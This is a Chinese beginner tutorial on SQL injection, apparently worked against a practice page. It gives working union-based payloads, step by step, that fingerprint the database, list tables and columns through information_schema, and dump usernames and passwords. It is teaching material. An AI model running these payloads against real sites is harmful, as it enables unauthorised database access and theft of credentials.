从零开始学渗透----SQL 注入(一)
本文只提供思路参考学习
注入漏洞
注入漏洞作为OWASP Top 10之一,它是一个十分普遍的漏洞,攻击者注入恶意代码后,能引起很严重的后果,而SQL注入又是其中的大头,作为初识安全的小白,这是一个很好的学习方向。
SQL注入
顾名思义 是由于开发人员编写的SQL语句不健壮,从而使得你能在Web端构建自己的特殊SQL语句导致能从前端访问到后端的数据库,从而获得数据库的一系列信息的攻击行为。
SQL注入类型
总体分为字符型和数字型
$query="select username,email from member where id=$id";
// 数字型 未在id处添加特殊符号
$query="select username,email from member where id='$id'";
//字符串型,在id处加以单引号闭合
SQL注入总体思路
- 根据网址抓包等确定是否有查询参数
- 找注入点并判断是否能进行注入
- 进行数据爆破
1.进入网址,发现它的url是以查询信息结尾的,id 就是查询参数。由此判断可以构造SQL语句
文章图片
2.查找注入点并判断是否能进行注入 常用方法先是添加单引号造成SQL语句出错
/index1.php?id=1' //等价于select username from member where id = '1'' 字符串型(还可能是其他特殊符号)select username from memeber where id = 1' 数字型
文章图片
观察报错,应为字符串型SQL注入
然后 构建特殊语句
?id=1' and' 1 '=' 1
(注意标签的闭合) 此处是恒为真的表达式,所以预计页面正确显示。文章图片
然后构建特殊语句
?id=1' and' 1 '=' 2
此处是恒为假的表达式,预计页面不会正确显示,但是不会报错。文章图片
两个恒等式 的差异表现说明了此处是可以进行sql注入的
3.进行数据爆破 在得知SQL注入漏洞存在后,我们即可进行系列操作。
首先是通过order by 猜测表中字段数。构建语句
' order by 5--+
// --+是注释,能忽略后面的特殊字符闭合,用二分法猜数字
文章图片
说明字段超了,往回猜,先3后4,2 就能确定只有3个字段了
接下来就是利用
union
语句来操作了 输入
?id=1' and 1 = 2 union select 1,2,3--+
文章图片
前面编写
and 1 = 2
是因为联合选择 将前面的语句返回一个false 就不会在页面显示,所以会显示后面我们想要找的东西,也可以写成 id = -1' union select 1,2,3--+
说明2,3 都可以替换成我们想要查找的东西
接下来就是一系列的常规操作了
先查询数据库以及数据库版本
?id=1' and 1 = 2 union select 1,version(),database()--+
文章图片
在确定版本为5.5.53 确定有information_scheme信息库接下来就用它以及group_concat函数进行操作
查询表头
?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
文章图片
【从零开始学渗透----SQL 注入(一)】很明显users就是一个好东西,我们获取它的列名
?id=1' and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
文章图片
最后你就可以获取对应的用户名和密码啦
?id=1' and 1 = 2 union select 1,2,group_concat(id, '%7C',username,'%7C',password) from users--+
文章图片
从左到右分别分别是id username password
到此基本想要的信息都拿到啦。
分享到此结束,感谢观看!
参考资料
https://blog.csdn.net/qq_4126...
https://segmentfault.com/a/11...
《腾讯Web安全课堂》
推荐阅读
- Docker应用:容器间通信与Mariadb数据库主从复制
- 一个人的碎碎念
- 我从来不做坏事
- 上班后阅读开始变成一件奢侈的事
- 从蓦然回首到花开在眼前,都是为了更好的明天。
- 日志打卡
- 西湖游
- 改变自己,先从自我反思开始
- leetcode|leetcode 92. 反转链表 II
- 从我的第一张健身卡谈传统健身房